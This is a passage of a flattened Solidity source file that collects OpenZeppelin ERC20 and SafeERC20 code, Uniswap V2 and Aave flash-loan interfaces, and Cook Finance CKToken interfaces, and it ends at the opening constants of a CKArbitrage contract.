/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File contracts/externals/uniswapV2/interfaces/IUniswapV2Pair.sol
// https://uniswap.org/docs/v2/smart-contracts/pair/
// https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2Pair.sol implementation
pragma solidity 0.6.10;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
}
// File contracts/externals/uniswapV2/lib/UniswapV2Library.sol
pragma solidity 0.6.10;
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES");
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS");
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
bytes32 initCodeHash = hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f"; // default Uniswap V2
if (factory == 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac) { // if Sushiswap
initCodeHash = hex"e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303";
}
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex"ff",
factory,
keccak256(abi.encodePacked(token0, token1)),
initCodeHash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, "UniswapV2Library: INSUFFICIENT_AMOUNT");
require(reserveA > 0 && reserveB > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY");
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, "UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT");
require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY");
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, "UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT");
require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY");
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, "UniswapV2Library: INVALID_PATH");
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, "UniswapV2Library: INVALID_PATH");
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// File @openzeppelin/contracts/token/ERC20/[emailย protected]
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File contracts/externals/aave/interfaces/IFlashLoanReceiver.sol
pragma solidity 0.6.10;
interface IFlashLoanReceiver {
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool);
}
// File contracts/externals/aave/interfaces/ILendingPoolAddressesProvider.sol
pragma solidity 0.6.10;
/**
* @title LendingPoolAddressesProvider contract
* @dev Main registry of addresses part of or connected to the protocol, including permissioned roles
* - Acting also as factory of proxies and admin of those, so with right to change its implementations
* - Owned by the Aave Governance
* @author Aave
**/
interface ILendingPoolAddressesProvider {
event LendingPoolUpdated(address indexed newAddress);
event ConfigurationAdminUpdated(address indexed newAddress);
event EmergencyAdminUpdated(address indexed newAddress);
event LendingPoolConfiguratorUpdated(address indexed newAddress);
event LendingPoolCollateralManagerUpdated(address indexed newAddress);
event PriceOracleUpdated(address indexed newAddress);
event LendingRateOracleUpdated(address indexed newAddress);
event ProxyCreated(bytes32 id, address indexed newAddress);
event AddressSet(bytes32 id, address indexed newAddress, bool hasProxy);
function setAddress(bytes32 id, address newAddress) external;
function setAddressAsProxy(bytes32 id, address impl) external;
function getAddress(bytes32 id) external view returns (address);
function getLendingPool() external view returns (address);
function setLendingPoolImpl(address pool) external;
function getLendingPoolConfigurator() external view returns (address);
function setLendingPoolConfiguratorImpl(address configurator) external;
function getLendingPoolCollateralManager() external view returns (address);
function setLendingPoolCollateralManager(address manager) external;
function getPoolAdmin() external view returns (address);
function setPoolAdmin(address admin) external;
function getEmergencyAdmin() external view returns (address);
function setEmergencyAdmin(address admin) external;
function getPriceOracle() external view returns (address);
function setPriceOracle(address priceOracle) external;
function getLendingRateOracle() external view returns (address);
function setLendingRateOracle(address lendingRateOracle) external;
}
// File contracts/externals/aave/lib/DataTypes.sol
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
library DataTypes {
// refer to the whitepaper, section 1.1 basic concepts for a formal description of these properties.
struct ReserveData {
//stores the reserve configuration
ReserveConfigurationMap configuration;
//the liquidity index. Expressed in ray
uint128 liquidityIndex;
//variable borrow index. Expressed in ray
uint128 variableBorrowIndex;
//the current supply rate. Expressed in ray
uint128 currentLiquidityRate;
//the current variable borrow rate. Expressed in ray
uint128 currentVariableBorrowRate;
//the current stable borrow rate. Expressed in ray
uint128 currentStableBorrowRate;
uint40 lastUpdateTimestamp;
//tokens addresses
address aTokenAddress;
address stableDebtTokenAddress;
address variableDebtTokenAddress;
//address of the interest rate strategy
address interestRateStrategyAddress;
//the id of the reserve. Represents the position in the list of the active reserves
uint8 id;
}
struct ReserveConfigurationMap {
//bit 0-15: LTV
//bit 16-31: Liq. threshold
//bit 32-47: Liq. bonus
//bit 48-55: Decimals
//bit 56: Reserve is active
//bit 57: reserve is frozen
//bit 58: borrowing is enabled
//bit 59: stable rate borrowing enabled
//bit 60-63: reserved
//bit 64-79: reserve factor
uint256 data;
}
struct UserConfigurationMap {
uint256 data;
}
enum InterestRateMode {NONE, STABLE, VARIABLE}
}
// File contracts/externals/aave/interfaces/ILendingPool.sol
pragma solidity 0.6.10;
interface ILendingPool {
/**
* @dev Emitted on deposit()
* @param reserve The address of the underlying asset of the reserve
* @param user The address initiating the deposit
* @param onBehalfOf The beneficiary of the deposit, receiving the aTokens
* @param amount The amount deposited
* @param referral The referral code used
**/
event Deposit(
address indexed reserve,
address user,
address indexed onBehalfOf,
uint256 amount,
uint16 indexed referral
);
/**
* @dev Emitted on withdraw()
* @param reserve The address of the underlyng asset being withdrawn
* @param user The address initiating the withdrawal, owner of aTokens
* @param to Address that will receive the underlying
* @param amount The amount to be withdrawn
**/
event Withdraw(address indexed reserve, address indexed user, address indexed to, uint256 amount);
/**
* @dev Emitted on borrow() and flashLoan() when debt needs to be opened
* @param reserve The address of the underlying asset being borrowed
* @param user The address of the user initiating the borrow(), receiving the funds on borrow() or just
* initiator of the transaction on flashLoan()
* @param onBehalfOf The address that will be getting the debt
* @param amount The amount borrowed out
* @param borrowRateMode The rate mode: 1 for Stable, 2 for Variable
* @param borrowRate The numeric rate at which the user has borrowed
* @param referral The referral code used
**/
event Borrow(
address indexed reserve,
address user,
address indexed onBehalfOf,
uint256 amount,
uint256 borrowRateMode,
uint256 borrowRate,
uint16 indexed referral
);
/**
* @dev Emitted on repay()
* @param reserve The address of the underlying asset of the reserve
* @param user The beneficiary of the repayment, getting his debt reduced
* @param repayer The address of the user initiating the repay(), providing the funds
* @param amount The amount repaid
**/
event Repay(
address indexed reserve,
address indexed user,
address indexed repayer,
uint256 amount
);
/**
* @dev Emitted on swapBorrowRateMode()
* @param reserve The address of the underlying asset of the reserve
* @param user The address of the user swapping his rate mode
* @param rateMode The rate mode that the user wants to swap to
**/
event Swap(address indexed reserve, address indexed user, uint256 rateMode);
/**
* @dev Emitted on setUserUseReserveAsCollateral()
* @param reserve The address of the underlying asset of the reserve
* @param user The address of the user enabling the usage as collateral
**/
event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user);
/**
* @dev Emitted on setUserUseReserveAsCollateral()
* @param reserve The address of the underlying asset of the reserve
* @param user The address of the user enabling the usage as collateral
**/
event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user);
/**
* @dev Emitted on rebalanceStableBorrowRate()
* @param reserve The address of the underlying asset of the reserve
* @param user The address of the user for which the rebalance has been executed
**/
event RebalanceStableBorrowRate(address indexed reserve, address indexed user);
/**
* @dev Emitted on flashLoan()
* @param target The address of the flash loan receiver contract
* @param initiator The address initiating the flash loan
* @param asset The address of the asset being flash borrowed
* @param amount The amount flash borrowed
* @param premium The fee flash borrowed
* @param referralCode The referral code used
**/
event FlashLoan(
address indexed target,
address indexed initiator,
address indexed asset,
uint256 amount,
uint256 premium,
uint16 referralCode
);
/**
* @dev Emitted when the pause is triggered.
*/
event Paused();
/**
* @dev Emitted when the pause is lifted.
*/
event Unpaused();
/**
* @dev Emitted when a borrower is liquidated. This event is emitted by the LendingPool via
* LendingPoolCollateral manager using a DELEGATECALL
* This allows to have the events in the generated ABI for LendingPool.
* @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation
* @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation
* @param user The address of the borrower getting liquidated
* @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover
* @param liquidatedCollateralAmount The amount of collateral received by the liiquidator
* @param liquidator The address of the liquidator
* @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants
* to receive the underlying collateral asset directly
**/
event LiquidationCall(
address indexed collateralAsset,
address indexed debtAsset,
address indexed user,
uint256 debtToCover,
uint256 liquidatedCollateralAmount,
address liquidator,
bool receiveAToken
);
/**
* @dev Emitted when the state of a reserve is updated. NOTE: This event is actually declared
* in the ReserveLogic library and emitted in the updateInterestRates() function. Since the function is internal,
* the event will actually be fired by the LendingPool contract. The event is therefore replicated here so it
* gets added to the LendingPool ABI
* @param reserve The address of the underlying asset of the reserve
* @param liquidityRate The new liquidity rate
* @param stableBorrowRate The new stable borrow rate
* @param variableBorrowRate The new variable borrow rate
* @param liquidityIndex The new liquidity index
* @param variableBorrowIndex The new variable borrow index
**/
event ReserveDataUpdated(
address indexed reserve,
uint256 liquidityRate,
uint256 stableBorrowRate,
uint256 variableBorrowRate,
uint256 liquidityIndex,
uint256 variableBorrowIndex
);
/**
* @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying aTokens.
* - E.g. User deposits 100 USDC and gets in return 100 aUSDC
* @param asset The address of the underlying asset to deposit
* @param amount The amount to be deposited
* @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user
* wants to receive them on his own wallet, or a different address if the beneficiary of aTokens
* is a different wallet
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
**/
function deposit(
address asset,
uint256 amount,
address onBehalfOf,
uint16 referralCode
) external;
/**
* @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned
* E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC
* @param asset The address of the underlying asset to withdraw
* @param amount The underlying amount to be withdrawn
* - Send the value type(uint256).max in order to withdraw the whole aToken balance
* @param to Address that will receive the underlying, same as msg.sender if the user
* wants to receive it on his own wallet, or a different address if the beneficiary is a
* different wallet
**/
function withdraw(
address asset,
uint256 amount,
address to
) external;
/**
* @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower
* already deposited enough collateral, or he was given enough allowance by a credit delegator on the
* corresponding debt token (StableDebtToken or VariableDebtToken)
* - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet
* and 100 stable/variable debt tokens, depending on the `interestRateMode`
* @param asset The address of the underlying asset to borrow
* @param amount The amount to be borrowed
* @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
* @param onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself
* calling the function if he wants to borrow against his own collateral, or the address of the credit delegator
* if he has been given credit delegation allowance
**/
function borrow(
address asset,
uint256 amount,
uint256 interestRateMode,
uint16 referralCode,
address onBehalfOf
) external;
/**
* @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned
* - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address
* @param asset The address of the borrowed underlying asset previously borrowed
* @param amount The amount to repay
* - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode`
* @param rateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable
* @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the
* user calling the function if he wants to reduce/remove his own debt, or the address of any other
* other borrower whose debt should be removed
**/
function repay(
address asset,
uint256 amount,
uint256 rateMode,
address onBehalfOf
) external;
/**
* @dev Allows a borrower to swap his debt between stable and variable mode, or viceversa
* @param asset The address of the underlying asset borrowed
* @param rateMode The rate mode that the user wants to swap to
**/
function swapBorrowRateMode(address asset, uint256 rateMode) external;
/**
* @dev Rebalances the stable interest rate of a user to the current stable rate defined on the reserve.
* - Users can be rebalanced if the following conditions are satisfied:
* 1. Usage ratio is above 95%
* 2. the current deposit APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too much has been
* borrowed at a stable rate and depositors are not earning enough
* @param asset The address of the underlying asset borrowed
* @param user The address of the user to be rebalanced
**/
function rebalanceStableBorrowRate(address asset, address user) external;
/**
* @dev Allows depositors to enable/disable a specific deposited asset as collateral
* @param asset The address of the underlying asset deposited
* @param useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise
**/
function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external;
/**
* @dev Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1
* - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives
* a proportionally amount of the `collateralAsset` plus a bonus to cover market risk
* @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation
* @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation
* @param user The address of the borrower getting liquidated
* @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover
* @param receiveAToken `true` if the liquidators wants to receive the collateral aTokens, `false` if he wants
* to receive the underlying collateral asset directly
**/
function liquidationCall(
address collateralAsset,
address debtAsset,
address user,
uint256 debtToCover,
bool receiveAToken
) external;
/**
* @dev Allows smartcontracts to access the liquidity of the pool within one transaction,
* as long as the amount taken plus a fee is returned.
* IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept into consideration.
* For further details please visit https://developers.aave.com
* @param receiverAddress The address of the contract receiving the funds, implementing the IFlashLoanReceiver interface
* @param assets The addresses of the assets being flash-borrowed
* @param amounts The amounts amounts being flash-borrowed
* @param modes Types of the debt to open if the flash loan is not returned:
* 0 -> Don't open any debt, just revert if funds can't be transferred from the receiver
* 1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address
* 2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address
* @param onBehalfOf The address that will receive the debt in the case of using on `modes` 1 or 2
* @param params Variadic packed params to pass to the receiver as extra information
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
**/
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
/**
* @dev Returns the user account data across all the reserves
* @param user The address of the user
* @return totalCollateralETH the total collateral in ETH of the user
* @return totalDebtETH the total debt in ETH of the user
* @return availableBorrowsETH the borrowing power left of the user
* @return currentLiquidationThreshold the liquidation threshold of the user
* @return ltv the loan to value of the user
* @return healthFactor the current health factor of the user
**/
function getUserAccountData(address user)
external
view
returns (
uint256 totalCollateralETH,
uint256 totalDebtETH,
uint256 availableBorrowsETH,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
);
function initReserve(
address reserve,
address aTokenAddress,
address stableDebtAddress,
address variableDebtAddress,
address interestRateStrategyAddress
) external;
function setReserveInterestRateStrategyAddress(address reserve, address rateStrategyAddress)
external;
function setConfiguration(address reserve, uint256 configuration) external;
/**
* @dev Returns the configuration of the reserve
* @param asset The address of the underlying asset of the reserve
* @return The configuration of the reserve
**/
function getConfiguration(address asset) external view returns (DataTypes.ReserveConfigurationMap memory);
/**
* @dev Returns the configuration of the user across all the reserves
* @param user The user address
* @return The configuration of the user
**/
function getUserConfiguration(address user) external view returns (DataTypes.UserConfigurationMap memory);
/**
* @dev Returns the normalized income normalized income of the reserve
* @param asset The address of the underlying asset of the reserve
* @return The reserve's normalized income
*/
function getReserveNormalizedIncome(address asset) external view returns (uint256);
/**
* @dev Returns the normalized variable debt per unit of asset
* @param asset The address of the underlying asset of the reserve
* @return The reserve normalized variable debt
*/
function getReserveNormalizedVariableDebt(address asset) external view returns (uint256);
/**
* @dev Returns the state and configuration of the reserve
* @param asset The address of the underlying asset of the reserve
* @return The state of the reserve
**/
function getReserveData(address asset) external view returns (DataTypes.ReserveData memory);
function finalizeTransfer(
address asset,
address from,
address to,
uint256 amount,
uint256 balanceFromAfter,
uint256 balanceToBefore
) external;
function getReservesList() external view returns (address[] memory);
function getAddressesProvider() external view returns (ILendingPoolAddressesProvider);
function setPause(bool val) external;
function paused() external view returns (bool);
}
// File contracts/externals/aave/FlashLoanReceiverBase.sol
pragma solidity 0.6.10;
abstract contract FlashLoanReceiverBase is IFlashLoanReceiver {
using SafeERC20 for IERC20;
using SafeMath for uint256;
ILendingPoolAddressesProvider public immutable ADDRESSES_PROVIDER;
ILendingPool public immutable LENDING_POOL;
constructor(ILendingPoolAddressesProvider provider) public {
ADDRESSES_PROVIDER = provider;
LENDING_POOL = ILendingPool(provider.getLendingPool());
}
}
// File contracts/interfaces/ICKToken.sol
/*
Copyright 2021 Cook Finance.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.6.10;
/**
* @title ICKToken
* @author Cook Finance
*
* Interface for operating with CKTokens.
*/
interface ICKToken is IERC20 {
/* ============ Enums ============ */
enum ModuleState {
NONE,
PENDING,
INITIALIZED
}
/* ============ Structs ============ */
/**
* The base definition of a CKToken Position
*
* @param component Address of token in the Position
* @param module If not in default state, the address of associated module
* @param unit Each unit is the # of components per 10^18 of a CKToken
* @param positionState Position ENUM. Default is 0; External is 1
* @param data Arbitrary data
*/
struct Position {
address component;
address module;
int256 unit;
uint8 positionState;
bytes data;
}
/**
* A struct that stores a component's cash position details and external positions
* This data structure allows O(1) access to a component's cash position units and
* virtual units.
*
* @param virtualUnit Virtual value of a component's DEFAULT position. Stored as virtual for efficiency
* updating all units at once via the position multiplier. Virtual units are achieved
* by dividing a "real" value by the "positionMultiplier"
* @param componentIndex
* @param externalPositionModules List of external modules attached to each external position. Each module
* maps to an external position
* @param externalPositions Mapping of module => ExternalPosition struct for a given component
*/
struct ComponentPosition {
int256 virtualUnit;
address[] externalPositionModules;
mapping(address => ExternalPosition) externalPositions;
}
/**
* A struct that stores a component's external position details including virtual unit and any
* auxiliary data.
*
* @param virtualUnit Virtual value of a component's EXTERNAL position.
* @param data Arbitrary data
*/
struct ExternalPosition {
int256 virtualUnit;
bytes data;
}
/* ============ Functions ============ */
function addComponent(address _component) external;
function removeComponent(address _component) external;
function editDefaultPositionUnit(address _component, int256 _realUnit) external;
function addExternalPositionModule(address _component, address _positionModule) external;
function removeExternalPositionModule(address _component, address _positionModule) external;
function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external;
function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external;
function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory);
function editPositionMultiplier(int256 _newMultiplier) external;
function mint(address _account, uint256 _quantity) external;
function burn(address _account, uint256 _quantity) external;
function lock() external;
function unlock() external;
function addModule(address _module) external;
function removeModule(address _module) external;
function initializeModule() external;
function setManager(address _manager) external;
function manager() external view returns (address);
function moduleStates(address _module) external view returns (ModuleState);
function getModules() external view returns (address[] memory);
function getDefaultPositionRealUnit(address _component) external view returns(int256);
function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256);
function getComponents() external view returns(address[] memory);
function getExternalPositionModules(address _component) external view returns(address[] memory);
function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory);
function isExternalPositionModule(address _component, address _module) external view returns(bool);
function isComponent(address _component) external view returns(bool);
function positionMultiplier() external view returns (int256);
function getPositions() external view returns (Position[] memory);
function getTotalComponentRealUnits(address _component) external view returns(int256);
function isInitializedModule(address _module) external view returns(bool);
function isPendingModule(address _module) external view returns(bool);
function isLocked() external view returns (bool);
}
// File contracts/interfaces/IBasicIssuanceModule.sol
/*
Copyright 2021 Cook Finance.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity 0.6.10;
interface IBasicIssuanceModule {
function getRequiredComponentUnitsForIssue(
ICKToken _ckToken,
uint256 _quantity
) external view returns(address[] memory, uint256[] memory);
function issue(ICKToken _ckToken, uint256 _quantity, address _to) external;
function redeem(ICKToken _ckToken, uint256 _quantity, address _to) external;
}
// File contracts/ckArbitrage/CKArbitrage.sol
pragma solidity 0.6.10;
/**
* @title CKArbitrage
* @author Cook Finance
*
* Arbitrage the CKToken
*/
contract CKArbitrage is Ownable, FlashLoanReceiverBase {
using SafeCast for int256;
/* ============ Structs ============ */
struct AssetExchange {
address dealer; // For Uniswap v2 or Sushiswap, dealer is the pair address
uint256 id; // 0: Uniswap V2, 1: Sushiswap
}
/* ============ Constants ============ */
address public constant UNI_V2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public constant SUSHI_FACTORY = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;
